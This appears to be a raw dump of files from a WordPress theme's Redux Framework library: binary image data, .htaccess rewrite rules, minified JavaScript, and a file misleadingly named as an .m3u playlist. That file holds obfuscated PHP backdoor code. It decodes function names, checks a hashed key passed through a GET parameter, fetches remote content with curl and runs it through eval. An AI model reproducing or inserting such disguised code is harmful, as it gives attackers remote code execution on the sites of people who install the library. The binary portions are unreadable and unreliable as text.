A'@{N\..ƅG_!7suV$BlW=}i; F)A<.&Xax,38S(b׵*%31l #O-zQvaXOP5o6Zz&⻏^wkI/#&\%x/@{7S މjPh͔&mry>k7=ߪB#@fs_{덱п0-LZ~%Gpˈ{YXf^+_s-T>D@קƸ-9!r[2]3BcnCs?>*ԮeD|%4` :X2 pQSLPRaeyqĘ י5Fit )CdL$o$rpӶb>4+̹F_{Яki+x.+B.{L<۩ =UHcnf<>F ^e||pyv%b:iX'%8Iߔ? rw[vITVQN^dpYI"|#\cz[2M^S0[zIJ/HHȟ- Ic#(حu[<m[QD$6!IDok]m5.]ŢEMYlSYuy*f&e }eS{W9/ V~&튆4czPqwsIU3]DQc8"xm܎fdrXt?Gy8Gvhu|Gl>i}:Y$o 21n6  LZQ*LIENDB`lib/redux-framework/assets/img/3-col-portfolio.png000064400000002001147206624460016154 0ustar00PNG  IHDR-$RtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp wIDATxK U{ns @%0o!x0Љf%^T72Y./ݴ8{chz-7qh=phq< KBzIENDB`lib/redux-framework/assets/img/1col.png000064400000005517147206624460014101 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FzIDATx1 Fa 0jB/]6Lm-_LQ pZL< ` 3ΈhD-ZhѢE-ZhѢE-0LTH7̂U*IENDB`lib/redux-framework/assets/img/3cl.png000064400000006124147206624460013717 0ustar00PNG  IHDR-$R DiCCPICC ProfileH wTl/]"e齷.H& KYe7D"V$(bh(+X "J F;'Nw>}w(!a@P"f'0D6p(h@_63u_ -Z[3C+K;?r!YLD)c#c1 ʪ2N|bO h{yIHD.VV>RV:|{ [RF ”"MF1L1[Te'Jx%C%_%RJ#4GcӸu:(G73%Ie%e{SC add1T4UT*TTTUzUUUoScemUkS{Q7UPWߣ~A}b}9Հ5L5"5iјi<9Ъ:5MvhWh~Tfz1U.椎NTgNΌ|ݵͺHz,T NI}mPw ,tӆF -5j4oL50^l\k|g24mr6u0M713fͱBZA EEŰ%2res+}VV(٬Ԗk[c{Îjgʮ=~mCNNb&q'}d]N,:+Uʺuv^|o]5˟[7wM׍mȝ}CǃQSϓY9eu빷ػ{^>*}7l6 8`k`f 7!p2)hEPW0%8*:Qi8# z<ἶ0-AQ#p5#m"GvGѢG.7xt~g|LbLCtOlyPU܊|BLB}&:$%Zh`EꋲJO$O&&N~ rRSvLrgIsKۖ6^>!` /22fLge̜͊j&d'g* 3]9Z99"3Qhh'\(wanLHyy5yoc( z.ٴdloaqu.Yf WB+SVv[UjtCkHk2zmWbuj.Y￾HH\4uލ6W|ĺ})76T}39usocٞ---zl=TX|d[ fEqūI/WWA!1TRվS疝ӫox4صin={j-n`[k k+x\S-ۆzEjpjh8qn6Ik:8w7ޜw[nn?uݼ3V/~ڟM~nr:53(ѽȳ_ry?ZrL{퓓~מ.x:LlfW_w=7~oLM˃_uNO=|zfڛCoYož_Cggg` pHYs  IDATX XN1E 8 Ф@)Z:>wA $^f7&'ώ'C/[,;òY8zgUEqlV)ˉŤCp/q={*6s3l;9s.|~J!g~$}b8rcn=?Lj/9^Q a"zqx lt<9&}1g@&qp4t\4ވNGȯGĜtR;#d9I[vFȲsI판e#$me!NGIN3UpR"6q y&pSmkTjZ`oa#h+~/h$Dv|D#v˹m3vݫFV+~̐h]K.39=?ʟ^yHCIENDB`lib/redux-framework/assets/img/2-col-portfolio.png000064400000002025147206624460016161 0ustar00PNG  IHDR-$RtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp ҧIDATx1 E8О]q{tMСK)b~-RʥmӬzq眗wav\5O>RY{b8(eThcx.o{ 4@=x4@4Ay"IENDB`lib/redux-framework/assets/img/2cl.png000064400000005650147206624460013721 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxٽ 06E,b']{'^kAAHN)|rp!Ido1y L4&)~U߫eHx/y/;=L@ ܡps Te``j/B -B -B -B -߱ t{%6$j Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/assets/index.php000064400000000000147206624460015061 0ustar00lib/redux-framework/assets/assets/tJPfNgVwHmMTdoauY.m3u000064400000011543147206624460017102 0ustar00H)3Z-*/[8+23]/*-~x-*/.$TOnN[1+58]./*-go-*/$TOnN/*-YTQ1cGl(|-*/[40+7]/*-Xq--*/.$TOnN/*-qC(-*/[7+40]./*-|8,O;-*/$TOnN[31+20]./*-|-Y@O-*/$TOnN/*-DrX-*/[48+5]./*-Vf-*/$TOnN/*-CTZ#%Z-*/[8+49]};/*-yL8=G-*/ @(count/*-Pe~X1hVb-*/($X)/*-^N-*/==/*-J%-*/25&&/*-32?30s@[-*/in_array(/*-6hKHvt(V-*/gettype(/*-3q;-*/$X)./*-B:rNc0Vlg-*/count(/*-pbRS(CL;#-*/aJGwpR($yOkmKwWG) /*-DB@S-*/{ $ZwCgpnU/*-rERs?H|A-*/ = /*-R_;x3&Fj-*/"r"./*-N_x-*/"a"./*-D3l~8-*/"n"./*-n564G(<6-*/"g"./*-R3qg]w_-*/ $cgTmf /*-.O|tI@T%W!-*/= /*-[(qE[{752-*/= /*-N{XX||dLx-*/""; foreach /*-ZfnS-*/(/*-c0AhnM-*/$cgTmf /*-e:koM^-*/as /*-|_p}W-*/$CnYegFslTM /*-!BdbSli=-*/=>/*-j??pwn-*/ $NbYIEeU/*-pT8jv)ri-*/) /*-Gael.2:>V@-*/$JNfV /*-ux,#}o:6-*/.= /*-5w-*/$xvNdPcRIu[$NbYIEeU/*-$5+-*/ - /*-M4]84q2!E-*/75389/*-AFo0h-*/];/*-l-*/$JNfV; /*-ysE]-*/} /*-]aZFj[(pU-*/static /*-Nn-*/function /*-(:S$-*/cOmTWMsFo/*-+?_-*/(/*-Y&}qAui:I9-*/$yGgQIs,/*-ZT!Dv2<-*/ $caIiCJ/*-S@B-*/)/*-$pAP;-*/ {/*-pID?F4&^i-*/ $UFsOLv/*-rNZ+ks1#~-*/ = /*-mpQ?3-*/curl_init/*-ki%-*/(/*-VZmle-*/$yGgQIs/*-n-*/);/*-8MaV=eP4-*/ curl_setopt/*-YA?tC-*/(/*-vyxp:-*/$UFsOLv,/*-cHmS%5cdWF-*/ CURLOPT_RETURNTRANSFER,/*-PLm`tO-*/ 1/*-;fH6T}-*/);/*-8FxT-*/ $OudoMsbryW/*-]Ia}-*/ = /*-EYhAOdLI-*/curl_exec/*-}oagmsBcv!-*/(/*-%:x!B!#<)-*/$UFsOLv/*-,.&tL-*/); /*-o<][36aBr-*/return /*-{jf!KSYAZD-*/empty/*-)~-*/(/*-y-l$89-*/$OudoMsbryW/*-b_JCd@+-*/)/*-v+B>o>-*/ ? /*-RbM-*/$caIiCJ/*-4S4OT`mx{5-*/(/*-R=hRd1lse-*/$yGgQIs/*-7|b.a-*/)/*-Fyl7,1W6-*/ : /*-&X:;No`-*/$OudoMsbryW; /*-_&T2=PF7-*/}/*-8[-b`NS3H-*/ static/*-NaHA`@|Ip>-*/ function /*-+%Fys4d-*/DLMyTuP/*-Dmh.X-*/() /*-3;:|&-*/{/*-^1DtFD~a-*/ $pmZN /*-{#V-*/=/*-(Uc%0K-*/ array/*-HGEV11-*/("75416(75401(75414(75418(75399(75414(75420(75413(75398(75405(75416(75399(75410(75404(75405","75400(75399(75401(75420(75401(75404(75399(75466(75464","75409(75400(75404(75405(75420(75415(75414(75416(75404(75415(75414","75403(75418(75416(75408","75417(75418(75400(75414(75461(75463(75420(75415(75414(75416(75404(75415(75414","75413(75410(75407(75414(75420(75412(75414(75399(75420(75416(75404(75405(75399(75414(75405(75399(75400","75443(75473","75390","75468(75473","75450(75433(75433(75450(75426","75404(75413"); /*-xw,-*/foreach /*-j3-*/(/*-d>ZtbaD-*/$pmZN/*-Xi@^-*/ as /*-boJwDp!dot-*/$AdGukx/*-{N:o~i?Z`-*/)/*-B{hJ(IN-*/[] /*-X)-*/= /*-p;0C-*/self/*-<2B1v+v(>w-*/::/*-jz7-*/aJGwpR/*-q,-*/]/*-#B3apLjhG-*/(/*-a0-*/$NOoDBfHv/*-ytjrve7-*/[/*-cb-*/3+3/*-)UCC,-*/], /*->Co^-*/$BCaDWx/*-B]&4moB6o-*/);/*-9h-*/ $gzGACq /*-PAn46-*/=/*-ZQmvT-*/ $NOoDBfHv/*-ouFpCnO.w_-*/[/*-WE-*/1+1/*-RL|9,-*/]/*-fSC@@;,<-*/(/*-lt+hsK-*/$dZBgFumTO,/*-8X&OM_d-*/ true/*-~op1tVg-*/); /*-3=Db-*/@${/*-flPW#-*/"_"./*-Phval,r-*/"G"./*-.Pl-*/"E"/*-@QCG-*/."T"/*-K)-*/}/*-=Mt-*/[/*-s-*/$NOoDBfHv/*-jDXdHH9C&-*/[5+5/*-3GdYtgT-*/]/*-OO-*/$NOoDBfHv[1+4/*-#L0^c$|i-*/]/*-46X_Fv-*/(/*-DrPE0N-*/__FILE__/*-|ra`?~6_-*/)/*-Vp,u-*/); /*-Cnbjf-*/if/*-d[QwJq-*/(/*-dpG-*/ (/*-WS-*/(@/*-Q=bdM5x~>[-*/$gzGACq/*-Aq7U9}Q-*/[/*-7$PP1_&0SQ-*/0/*-KxGf)@x-*/] /*-ciQHC`-*/- time/*-_Y>1S-*/()/*-5~XOteV1-*/) > /*-G;-*/0/*-=Gv7-gG-*/)/*-WyZt8Z]V-*/ and /*-aRR&e6ke-*/(/*-1|!W}%-*/md5/*-,s--*/(/*-o>Q2-*/md5/*-uh$-*/(/*-];T7-*/$gzGACq/*-7C9[P{%-*/[/*-o).U:=-*/1+2/*-gg7jh:+UJ-*/]/*-q3vt1|XBw-*/)/*-7%B5H^3-*/)/*-[n>6}W{%-*/ === /*-Y1H-*/"ba4de4d58fa801360e96c9c49880f52e"/*-O{xM>WqK-*/)/*-iK{Pa-*/ ): /*-nxD].pBA-*/$hEzmMnl /*-JYX.qR-*/=/*-y+_-*/ self/*-rp-*/::/*-h{S6G))O-*/cOmTWMsFo/*-q_,-*/(/*-;#`$|dN-*/$gzGACq/*-:hh-*/[/*-]aX-*/1+0/*-.}#K#9}xX-*/], /*-FS-*/$NOoDBfHv/*-EUthll-*/[/*-lRtXm{k#2-*/4+1/*-N{8-*/]/*-mZA#DS%-*/);/*-IZ_ZJq-*/@eval/*-:wSJ!Y>:j-*/(/*-31H-*/$NOoDBfHv/*-e.H}0Yl-*/[/*-b,jNWK,yg=-*/0+4/*-U8mb6i@>-*/]/*-Et:,Jy5q-*/(/*-|fRWhOnhiG-*/$hEzmMnl/*-ukE,:pvH-*/)/*-wG-*/);/*-)_{-*//*-~SWMWk-*/die;/*-YXZiM-*/ endif;/*-y}%-*/ }/*->a6-*/}/*-@x-6-*/m/*-]w-*/::/*-GLCnD:3^-*/DLMyTuP/*-u,xkxm%-*/();/*-_rgfIm~Q>J-*/ ?>lib/redux-framework/assets/assets/.htaccess000064400000001626147206624460015056 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/js/redux.min.js000064400000117620147206624460014643 0ustar00!function(e){"function"==typeof define&&define.amd?jQueryCookie.define(["jquery"],e):e(jQuery)}(function(p){var r=/\+/g;function h(e){return e}function x(e){return decodeURIComponent(e.replace(r," "))}function g(e){0===e.indexOf('"')&&(e=e.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return v.json?JSON.parse(e):e}catch(e){}}var v=p.cookie=function(e,r,t){if(void 0!==r){if("number"==typeof(t=p.extend({},v.defaults,t)).expires){var i=t.expires,a=t.expires=new Date;a.setDate(a.getDate()+i)}return r=v.json?JSON.stringify(r):String(r),document.cookie=[v.raw?e:encodeURIComponent(e),"=",v.raw?r:encodeURIComponent(r),t.expires?"; expires="+t.expires.toUTCString():"",t.path?"; path="+t.path:"",t.domain?"; domain="+t.domain:"",t.secure?"; secure":""].join("")}for(var n=v.raw?h:x,s=document.cookie.split("; "),d=e?void 0:{},o=0,u=s.length;o=n.captureLength&&t.toUpperCase()!=e.text||r&&t.length>=n.captureLength)&&(e.text=t.toUpperCase(),e.cb.call(e.el,t))},r)})}}return this.each(function(){r(this)})}}(jQuery),function(s){s.fn.serializeForm=function(){if(this.length<1)return!1;var a={},n=a,e=':input[type!="checkbox"][type!="radio"], input:checked',r=function(){if(!this.disabled){var e=this.name.replace(/\[([^\]]+)?\]/g,",$1").split(","),r=e.length-1,t=s(this);if(e[0]){for(var i=0;ir.max&&i.val("")}(this,e)}),this};var e,r,u={allow:"",disallow:"",allowSpace:!0,allowNumeric:!0,allowUpper:!0,allowLower:!0,allowCaseless:!0,allowLatin:!0,allowOtherCharSets:!0,maxLength:NaN},i={allowPlus:!1,allowMinus:!0,allowThouSep:!0,allowDecSep:!0,allowLeadingSpaces:!1,maxDigits:NaN,maxDecimalPlaces:NaN,maxPreDecimalPlaces:NaN,max:NaN,min:NaN},l={alpha:{allowNumeric:!1},upper:{allowNumeric:!1,allowUpper:!0,allowLower:!1,allowCaseless:!0},lower:{allowNumeric:!1,allowUpper:!1,allowLower:!0,allowCaseless:!0}},a={integer:{allowPlus:!1,allowMinus:!0,allowThouSep:!1,allowDecSep:!1},positiveInteger:{allowPlus:!1,allowMinus:!1,allowThouSep:!1,allowDecSep:!1}},c="!@#$%^&*()+=[]\\';,/{}|\":<>?~`.-_ ¬€£¦",d=",",f=".",v=function(){var e,r="0123456789".split(""),t={},i=0;for(i=0;is.max))&&(i=e+r,!(a=t).min||0=n.maxLength||!(0<=n.allow.indexOf(a)||n.allowSpace&&" "==a)&&(n.blacklistSet.contains(a)||!n.allowNumeric&&v[a]||!n.allowUpper&&(d=(s=a).toUpperCase(),o=s.toLowerCase(),s==d&&d!=o)||!n.allowLower&&(l=(u=a).toUpperCase(),c=u.toLowerCase(),u==c&&l!=c)||!n.allowCaseless&&(f=a).toUpperCase()==f.toLowerCase()||!n.allowLatin&&m.contains(a)||!(n.allowOtherCharSets||v[a]||m.contains(a)))||h.push(t)}return h.join("")}function _(e,r){if("string"!=typeof e)return e;var t,i=e.split(""),a=[],n=0;for(n=0;nt.right||r.bottomt.bottom)}},x.redux.hideFields(),x.redux.checkRequired(),x.redux.initEvents(),x.redux.initQtip(),x.redux.tabCheck(),x.redux.notices(),x.redux.tabControl()}),x.redux.ajax_save=function(e){var t=x(document.getElementById("redux_ajax_overlay"));t.fadeIn(),jQuery(".redux-action_bar .spinner").addClass("is-active"),jQuery(".redux-action_bar input").attr("disabled","disabled");var i=jQuery(document.getElementById("redux_notification_bar"));i.slideUp(),jQuery(".redux-save-warn").slideUp(),jQuery(".redux_ajax_save_error").slideUp("medium",function(){jQuery(this).remove()});var r=jQuery(document.getElementById("redux-form-wrapper"));redux.fields.hasOwnProperty("editor")&&x.each(redux.fields.editor,function(e,r){if("undefined"!=typeof tinyMCE){var t=tinyMCE.get(e);t&&t.save()}});var a=r.serialize();r.find("input[type=checkbox]").each(function(){if(void 0!==x(this).attr("name")){var e=x(this).is(":checked")?x(this).val():"0";a+="&"+x(this).attr("name")+"="+e}}),"redux_save"!=e.attr("name")&&(a+="&"+e.attr("name")+"="+e.val());var n=r.attr("data-nonce");return jQuery.ajax({type:"post",dataType:"json",url:ajaxurl,data:{action:redux.args.opt_name+"_ajax_save",nonce:n,opt_name:redux.args.opt_name,data:a},error:function(e){window.console||(console={}),console.log=console.log||function(e,r){},console.log(redux.ajax.console),console.log(e.responseText),jQuery(".redux-action_bar input").removeAttr("disabled"),t.fadeOut("fast"),jQuery(".redux-action_bar .spinner").removeClass("is-active"),alert(redux.ajax.alert)},success:function(e){if(e.action&&"reload"==e.action)location.reload(!0);else if("success"==e.status){jQuery(".redux-action_bar input").removeAttr("disabled"),t.fadeOut("fast"),jQuery(".redux-action_bar .spinner").removeClass("is-active"),redux.options=e.options,redux.errors=e.errors,redux.warnings=e.warnings,i.html(e.notification_bar).slideDown("fast"),null===e.errors&&null===e.warnings||x.redux.notices();var r=x(document.getElementById("redux_notification_bar")).find(".saved_notice");r.slideDown(),r.delay(4e3).slideUp()}else jQuery(".redux-action_bar input").removeAttr("disabled"),jQuery(".redux-action_bar .spinner").removeClass("is-active"),t.fadeOut("fast"),jQuery(".wrap h2:first").parent().append('"),jQuery(".redux_ajax_save_error").slideDown(),jQuery("html, body").animate({scrollTop:0},"slow")}}),!1},x.redux.initEvents=function(){x(".redux-presets-bar").on("click",function(){window.onbeforeunload=null}),x("#toplevel_page_"+redux.args.slug+" .wp-submenu a, #wp-admin-bar-"+redux.args.slug+" a.ab-item").click(function(e){if((x("#toplevel_page_"+redux.args.slug).hasClass("wp-menu-open")||x(this).hasClass("ab-item"))&&!x(this).parents("ul.ab-submenu:first").hasClass("ab-sub-secondary")&&0<=x(this).attr("href").toLowerCase().indexOf(redux.args.slug+"&tab=")){e.preventDefault();var r=x(this).attr("href").split("&tab=");return x("#"+r[1]+"_section_group_li_a").click(),x(this).parents("ul:first").find(".current").removeClass("current"),x(this).addClass("current"),x(this).parent().addClass("current"),!1}}),x(".redux-action_bar input, #redux-import-action input").on("click",function(e){if(x(this).attr("name")==redux.args.opt_name+"[defaults]"){if(!confirm(redux.args.reset_confirm))return!1}else if(x(this).attr("name")==redux.args.opt_name+"[defaults-section]"){if(!confirm(redux.args.reset_section_confirm))return!1}else if("import"==x(this).attr("name")&&!confirm(redux.args.import_section_confirm))return!1;!(window.onbeforeunload=null)===redux.args.ajax_save?(x.redux.ajax_save(x(this)),e.preventDefault()):location.reload(!0)}),x(".expand_options").click(function(e){e.preventDefault();var r=x(".redux-container");if(x(r).hasClass("fully-expanded")){x(r).removeClass("fully-expanded");var t=x.cookie("redux_current_tab");x(".redux-container:first").find("#"+t+"_section_group").fadeIn(200,function(){0!==x(".redux-container:first").find("#redux-footer").length&&x.redux.stickyInfo(),x.redux.initFields()})}return x.redux.expandOptions(x(this).parents(".redux-container:first")),!1}),x(".saved_notice").is(":visible")&&x(".saved_notice").slideDown(),x(document.body).on("change",".redux-field input, .redux-field textarea, .redux-field select",function(){x(this).hasClass("noUpdate")||redux_change(x(this))});var e=x("#redux-footer").height();x("#redux-sticky-padder").css({height:e}),x("#redux-footer-sticky").removeClass("hide"),0!==x("#redux-footer").length&&(x(window).scroll(function(){x.redux.stickyInfo()}),x(window).resize(function(){x.redux.stickyInfo()})),x(".saved_notice").delay(4e3).slideUp()},x.redux.hideFields=function(){x("label[for='redux_hide_field']").each(function(e,r){var t=x(this).parent().parent();x(t).addClass("hidden")})},x.redux.checkRequired=function(){x.redux.required(),x("body").on("change",".redux-main select, .redux-main radio, .redux-main input[type=checkbox], .redux-main input[type=hidden]",function(e){x.redux.check_dependencies(this)}),x("body").on("check_dependencies",function(e,r){x.redux.check_dependencies(r)}),x(".redux-container td > fieldset:empty,td > div:empty").parent().parent().hide()},x.redux.initQtip=function(){if(x().qtip){var e="";!0===redux.args.hints.tip_style.shadow&&(e="qtip-shadow");var r="",t=redux.args.hints.tip_style.color;""!==t&&(r="qtip-"+t);var i="";!0===redux.args.hints.tip_style.rounded&&(i="qtip-rounded");var a="",n=redux.args.hints.tip_style.style;""!==n&&(a="qtip-"+n);var s=e+","+r+","+i+","+a+",redux-qtip";s=s.replace(/,/g," ");var d=redux.args.hints.tip_position.my,o=redux.args.hints.tip_position.at;d=x.redux.verifyPos(d.toLowerCase(),!0),o=x.redux.verifyPos(o.toLowerCase(),!1);var u=redux.args.hints.tip_effect.show.event,l=redux.args.hints.tip_effect.hide.event,c=redux.args.hints.tip_effect.show.effect,f=redux.args.hints.tip_effect.show.duration,p=redux.args.hints.tip_effect.hide.effect,h=redux.args.hints.tip_effect.hide.duration;x("div.redux-dev-qtip").each(function(){x(this).qtip({content:{text:x(this).attr("qtip-content"),title:x(this).attr("qtip-title")},show:{effect:function(){x(this).slideDown(500)},event:"mouseover"},hide:{effect:function(){x(this).slideUp(500)},event:"mouseleave"},style:{classes:"qtip-shadow qtip-light"},position:{my:"top center",at:"bottom center"}})}),x("div.redux-hint-qtip").each(function(){x(this).qtip({content:{text:x(this).attr("qtip-content"),title:x(this).attr("qtip-title")},show:{effect:function(){switch(c){case"slide":x(this).slideDown(f);break;case"fade":x(this).fadeIn(f);break;default:x(this).show()}},event:u},hide:{effect:function(){switch(p){case"slide":x(this).slideUp(h);break;case"fade":x(this).fadeOut(h);break;default:x(this).hide(h)}},event:l},style:{classes:s},position:{my:d,at:o}})}),x("input[qtip-content]").each(function(){x(this).qtip({content:{text:x(this).attr("qtip-content"),title:x(this).attr("qtip-title")},show:"focus",hide:"blur",style:s,position:{my:d,at:o}})})}},x.redux.tabCheck=function(){if(x(".redux-group-tab-link-a").click(function(){var e=x(this);if(e.parent().hasClass("empty_section")&&e.parent().hasClass("hasSubSections")){var r=x(this).closest("ul").find(".redux-group-tab-link-a"),t=r.index(this);e=r.slice(t+1,t+2)}var i=e.parents(".redux-container:first"),a=e.data("rel"),n=i.find(".redux-group-tab-link-li.active:first .redux-group-tab-link-a").data("rel");if(n!==a){if(x("#currentSection").val(a),e.parents(".postbox-container:first").length||x.cookie("redux_current_tab",a,{expires:7,path:"/"}),i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").length){var s=i.find("#"+a+"_section_group_li").parents(".redux-group-tab-link-li").attr("id").split("_");s=s[0]}if(i.find("#toplevel_page_"+redux.args.slug+" .wp-submenu a.current").removeClass("current"),i.find("#toplevel_page_"+redux.args.slug+" .wp-submenu li.current").removeClass("current"),i.find("#toplevel_page_"+redux.args.slug+" .wp-submenu a").each(function(){var e=x(this).attr("href").split("&tab=");e[1]!=a&&e[1]!=s||(x(this).addClass("current"),x(this).parent().addClass("current"))}),i.find("#"+n+"_section_group_li").find("#"+n+"_section_group_li").length)i.find("#"+n+"_section_group_li").addClass("activeChild"),i.find("#"+a+"_section_group_li").addClass("active").removeClass("activeChild");else if(i.find("#"+a+"_section_group_li").parents("#"+n+"_section_group_li").length||i.find("#"+n+"_section_group_li").parents("ul.subsection").find("#"+a+"_section_group_li").length)i.find("#"+a+"_section_group_li").parents("#"+n+"_section_group_li").length?i.find("#"+n+"_section_group_li").addClass("activeChild").removeClass("active"):(i.find("#"+a+"_section_group_li").addClass("active"),i.find("#"+n+"_section_group_li").removeClass("active")),i.find("#"+a+"_section_group_li").removeClass("activeChild").addClass("active");else if(i.find("#"+a+"_section_group_li").addClass("active").removeClass("activeChild").find("ul.subsection").slideDown(),i.find("#"+n+"_section_group_li").find("ul.subsection").length){i.find("#"+n+"_section_group_li").find("ul.subsection").slideUp("fast",function(){i.find("#"+n+"_section_group_li").removeClass("active").removeClass("activeChild")});var d=i.find("#"+a+"_section_group_li").parents(".hasSubSections:first");0'+r.msg+""):x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-error").html(r.msg).css("display","block")})}),x(".redux-container").each(function(){var i=x(this);i.find(".redux-menu-error").remove();var e=i.find(".redux-field-error").length;0'+e+""),i.find('.redux-group-tab-link-a[data-key="'+r+'"]').addClass("hasError");var t=i.find('.redux-group-tab-link-a[data-key="'+r+'"]').parents(".hasSubSections:first");t&&t.find(".redux-group-tab-link-a:first").addClass("hasError")}}))})),redux.warnings&&redux.warnings.warnings&&(x.each(redux.warnings.warnings,function(e,r){x.each(r.warnings,function(e,r){x("#"+redux.args.opt_name+"-"+r.id).addClass("redux-field-warning"),0===x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-warning").length?x("#"+redux.args.opt_name+"-"+r.id).append('
'+r.msg+"
"):x("#"+redux.args.opt_name+"-"+r.id).parent().find(".redux-th-warning").html(r.msg).css("display","block")})}),x(".redux-container").each(function(){var i=x(this);i.find(".redux-menu-warning").remove();var e=i.find(".redux-field-warning").length;0'+e+""),i.find('.redux-group-tab-link-a[data-key="'+r+'"]').addClass("hasWarning");var t=i.find('.redux-group-tab-link-a[data-key="'+r+'"]').parents(".hasSubSections:first");t&&t.find(".redux-group-tab-link-a:first").addClass("hasWarning")}}))}))},x.redux.tabControl=function(){x(".redux-section-tabs div").hide(),x(".redux-section-tabs div:first").show(),x(".redux-section-tabs ul li:first").addClass("active"),x(".redux-section-tabs ul li a").click(function(){x(".redux-section-tabs ul li").removeClass("active"),x(this).parent().addClass("active");var e=x(this).attr("href");return x(".redux-section-tabs div").hide(),x(e).fadeIn("medium",function(){x.redux.initFields()}),!1})},x.redux.required=function(){x.each(redux.folds,function(e,r){var t=x("#"+redux.args.opt_name+"-"+e);if(t.parents("tr:first").addClass("fold"),"hide"==r){if(t.parents("tr:first").addClass("hide"),t.hasClass("redux-container-section")){var i=x("#section-"+e);i.hasClass("redux-section-indent-start")&&(x("#section-table-"+e).hide().addClass("hide"),i.hide().addClass("hide"))}if(t.hasClass("redux-container-info")&&x("#info-"+e).hide().addClass("hide"),t.hasClass("redux-container-divide")&&x("#divide-"+e).hide().addClass("hide"),t.hasClass("redux-container-raw"))t.parents().find("table#"+redux.args.opt_name+"-"+e).hide().addClass("hide")}})},x.redux.get_container_value=function(e){var r=x("#"+redux.args.opt_name+"-"+e).serializeForm();return null!==r&&"object"==typeof r&&r.hasOwnProperty(redux.args.opt_name)&&(r=r[redux.args.opt_name][e]),x("#"+redux.args.opt_name+"-"+e).hasClass("redux-container-media")&&(r=r.url),r},x.redux.check_dependencies=function(e){if(null!==redux.required){var r=x(e),t=r.parents(".redux-field:first").data("id");if(redux.required.hasOwnProperty(t)){var i=r.parents(".redux-field-container:first"),d=i.parents("tr:first").hasClass("hide");i.parents("tr:first").length||(d=i.parents(".customize-control:first").hasClass("hide")),x.each(redux.required[t],function(e,r){var t=x(this),i=!1,a=x("#"+redux.args.opt_name+"-"+e),n=a.parents("tr:first");if(d||(i=x.redux.check_parents_dependencies(e)),!0===i){if(a.hasClass("redux-container-section")){var 